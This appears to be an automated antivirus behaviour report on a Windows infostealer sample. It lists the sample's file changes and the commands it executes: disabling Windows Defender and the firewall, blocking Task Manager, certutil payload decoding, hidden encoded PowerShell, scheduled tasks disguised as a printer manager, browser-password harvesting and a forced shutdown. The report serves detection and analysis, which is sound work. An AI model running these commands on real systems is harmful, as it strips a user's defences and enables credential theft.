Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\windows printer manager\2
- <SYSTEM32>\tasks\microsoft\windows\windows printer manager\3
- <SYSTEM32>\tasks\microsoft\windows\windows printer manager\5
- <SYSTEM32>\tasks\microsoft\windows\windows printer manager\6
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Windows Defender
Executes the following
- '<SYSTEM32>\net.exe' stop WinDefend
Modifies file system
Creates the following files
- %TEMP%\c13c.tmp\bat.bat
- %TEMP%\bmhnvph_.0.cs
- %TEMP%\bmhnvph_.cmdline
- %TEMP%\bmhnvph_.out
- %TEMP%\cscfbac.tmp
- %TEMP%\resfbad.tmp
- %TEMP%\bmhnvph_.dll
- %TEMP%\mjuuw3ty.0.cs
- %TEMP%\mjuuw3ty.cmdline
- %TEMP%\mjuuw3ty.out
- %TEMP%\cscfd32.tmp
- %TEMP%\resfd43.tmp
- %TEMP%\mjuuw3ty.dll
- %TEMP%\4l3gvhst.0.cs
- %TEMP%\4l3gvhst.cmdline
- %TEMP%\4l3gvhst.out
- %TEMP%\cscfe99.tmp
- %TEMP%\resfeaa.tmp
- %TEMP%\4l3gvhst.dll
- <SYSTEM32>\delete
- %TEMP%\agjqo7sq.dll
- %TEMP%\login data
- %TEMP%\resf96c.tmp
- %TEMP%\agjqo7sq.out
- %TEMP%\c13c.tmp\t2.crt
- %TEMP%\c13c.tmp\t3.crt
- %TEMP%\c13c.tmp\t5.crt
- %TEMP%\c13c.tmp\t6.crt
- %TEMP%\c13c.tmp\chr.crt
- %TEMP%\c13c.tmp\app.crt
- %TEMP%\c13c.tmp\chr.exe
- %TEMP%\c13c.tmp\t2.xml
- %TEMP%\c13c.tmp\t3.xml
- %TEMP%\c13c.tmp\t5.xml
- %TEMP%\c13c.tmp\t6.xml
- %WINDIR%\chr.exe
- %TEMP%\t2.xml
- %TEMP%\t3.xml
- %TEMP%\t5.xml
- %TEMP%\t6.xml
- %LOCALAPPDATA%\dyna\steam\config.vdf
- %TEMP%\agjqo7sq.0.cs
- %TEMP%\agjqo7sq.cmdline
- %TEMP%\cscf92d.tmp
- %LOCALAPPDATA%\dyna\browserpass.txt
Deletes the following files
- %TEMP%\t2.xml
- %TEMP%\bmhnvph_.out
- %TEMP%\resfd43.tmp
- %TEMP%\cscfd32.tmp
- %TEMP%\mjuuw3ty.pdb
- %TEMP%\mjuuw3ty.cmdline
- %TEMP%\mjuuw3ty.dll
- %TEMP%\mjuuw3ty.out
- %TEMP%\c13c.tmp\bat.bat
- %TEMP%\mjuuw3ty.0.cs
- %TEMP%\cscfe99.tmp
- %TEMP%\4l3gvhst.cmdline
- %TEMP%\4l3gvhst.0.cs
- %TEMP%\4l3gvhst.out
- %TEMP%\4l3gvhst.dll
- %TEMP%\4l3gvhst.pdb
- %TEMP%\login data
- %TEMP%\bmhnvph_.dll
- %TEMP%\bmhnvph_.0.cs
- %TEMP%\bmhnvph_.pdb
- %TEMP%\bmhnvph_.cmdline
- %TEMP%\cscfbac.tmp
- %TEMP%\t5.xml
- %TEMP%\t6.xml
- %TEMP%\c13c.tmp\t2.crt
- %TEMP%\c13c.tmp\t3.crt
- %TEMP%\c13c.tmp\t5.crt
- %TEMP%\c13c.tmp\t6.crt
- %TEMP%\c13c.tmp\chr.crt
- %LOCALAPPDATA%\dyna\steam\config.vdf
- %TEMP%\resfeaa.tmp
- %TEMP%\c13c.tmp\app.crt
- %TEMP%\cscf92d.tmp
- %TEMP%\agjqo7sq.out
- %TEMP%\agjqo7sq.0.cs
- %TEMP%\agjqo7sq.cmdline
- %TEMP%\agjqo7sq.dll
- %TEMP%\agjqo7sq.pdb
- %TEMP%\resfbad.tmp
- %TEMP%\t3.xml
- %TEMP%\resf96c.tmp
- %LOCALAPPDATA%\dyna\browserpass.txt
Miscellaneous
Creates and executes the following
- '%WINDIR%\chr.exe' -f %LOCALAPPDATA%\dyna\browserpass.txt
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\C13C.tmp\bat.bat" "<Full path to file>""' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE926.tmp" "%TEMP%\CSCE925.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-gwafhwz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE7DF.tmp" "%TEMP%\CSCE7CE.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\n7kyjas0.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE550.tmp" "%TEMP%\CSCE53F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\respolms.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFEAA.tmp" "%TEMP%\CSCFE99.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4l3gvhst.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD43.tmp" "%TEMP%\CSCFD32.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mjuuw3ty.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFBAD.tmp" "%TEMP%\CSCFBAC.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bmhnvph_.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF96C.tmp" "%TEMP%\CSCF92D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\agjqo7sq.cmdline"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc IwBYADMAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoAIwBYADMAIAAgACAAIAAgACAAIAAgACQAaQBlACAAPQAgA...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc IwBYADMAUgBFAEcAIABBAEQARAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpA...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc JABsAG8AbwB0ACAAPQAgACgAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBACAAKwAgACIAXABkAHkAbgBhAFwAIgApADsAIAAkAGwAYQBwAHAAIAA9ACAAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBA...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc bQBkACAAIgBDADoAXABXAGkAbgBkAG8AdwBzAFwATABvAGcAcwBcAEQATQBMAFwAIgAKAGYAdQBuAGMAdABpAG8AbgAgAEQAeQBuAEEAbQBpAHQAZQAtAEsAZQB5ACAAewAkAGQAYQB0AGUAYQBuAGQAdABpAG0AZQAgAD0AIABHA...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2k7kh4hr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE9E2.tmp" "%TEMP%\CSCE9D1.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\C13C.tmp\bat.bat" "<Full path to file>""
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\agjqo7sq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF96C.tmp" "%TEMP%\CSCF92D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bmhnvph_.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFBAD.tmp" "%TEMP%\CSCFBAC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mjuuw3ty.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD43.tmp" "%TEMP%\CSCFD32.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4l3gvhst.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFEAA.tmp" "%TEMP%\CSCFE99.tmp"
- '<SYSTEM32>\net1.exe' stop WinDefend
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Windows Printer Manager\3" /XML %TEMP%\t3.xml
- '<SYSTEM32>\reg.exe' add HKLM\SYSTEM\CurrentControlSet\services\WinDefend /v Start /t REG_DWORD /d 4 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\shutdown.exe' -s -t 0
- '<SYSTEM32>\taskeng.exe' {F55B0D9D-12C1-4F74-AFCF-34632BD0F312} S-1-5-21-1960123792-2022915161-3775307078-1001:kkhiduy\user:Interactive:[1]
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\respolms.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE550.tmp" "%TEMP%\CSCE53F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\n7kyjas0.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE7DF.tmp" "%TEMP%\CSCE7CE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-gwafhwz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE926.tmp" "%TEMP%\CSCE925.tmp"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc IwBYADMAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoAIwBYADMAIAAgACAAIAAgACAAIAAgACQAaQBlACAAPQAgA...
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc IwBYADMAUgBFAEcAIABBAEQARAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpA...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc JABsAG8AbwB0ACAAPQAgACgAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBACAAKwAgACIAXABkAHkAbgBhAFwAIgApADsAIAAkAGwAYQBwAHAAIAA9ACAAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBA...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc bQBkACAAIgBDADoAXABXAGkAbgBkAG8AdwBzAFwATABvAGcAcwBcAEQATQBMAFwAIgAKAGYAdQBuAGMAdABpAG8AbgAgAEQAeQBuAEEAbQBpAHQAZQAtAEsAZQB5ACAAewAkAGQAYQB0AGUAYQBuAGQAdABpAG0AZQAgAD0AIABHA...
- '<SYSTEM32>\certutil.exe' -decode chr.crt chr.exe
- '<SYSTEM32>\certutil.exe' -decode bcd.crt bcd.exe
- '<SYSTEM32>\certutil.exe' -decode t1.crt t1.xml
- '<SYSTEM32>\certutil.exe' -decode t2.crt t2.xml
- '<SYSTEM32>\certutil.exe' -decode t3.crt t3.xml
- '<SYSTEM32>\certutil.exe' -decode t4.crt t4.xml
- '<SYSTEM32>\certutil.exe' -decode t5.crt t5.xml
- '<SYSTEM32>\certutil.exe' -decode t6.crt t6.xml
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Windows Printer Manager\1" /XML %TEMP%\t1.xml
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2k7kh4hr.cmdline"
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Windows Printer Manager\2" /XML %TEMP%\t2.xml
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Windows Printer Manager\6" /XML %TEMP%\t6.xml
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Windows Printer Manager\4" /XML %TEMP%\t4.xml
- '<SYSTEM32>\schtasks.exe' /run /TN "Microsoft\Windows\Windows Printer Manager\1"
- '<SYSTEM32>\schtasks.exe' /run /TN "Microsoft\Windows\Windows Printer Manager\2"
- '<SYSTEM32>\taskeng.exe' {5D560408-A561-4DA8-A827-6410354FA1F9} S-1-5-21-1960123792-2022915161-3775307078-1001:kkhiduy\user:Interactive:[1]
- '<SYSTEM32>\schtasks.exe' /run /TN "Microsoft\Windows\Windows Printer Manager\3"
- '<SYSTEM32>\schtasks.exe' /run /TN "Microsoft\Windows\Windows Printer Manager\5"
- '<SYSTEM32>\schtasks.exe' /run /TN "Microsoft\Windows\Windows Printer Manager\6"
- '<SYSTEM32>\schtasks.exe' /run /TN "Microsoft\Windows\Windows Printer Manager\4"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc YwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAGMAaAByAC4AYwByAHQAIABjAGgAcgAuAGUAeABlADsAIABjAGUAcgB0AHUAdABpAGwAIAAtAGQAZQBjAG8AZABlACAAYgBjAGQALgBjAHIAdAAgAGIAYwBkAC4AZQB4A...
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Windows Printer Manager\5" /XML %TEMP%\t5.xml
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE9E2.tmp" "%TEMP%\CSCE9D1.tmp"
Attempts to shut down the Windows operating system.
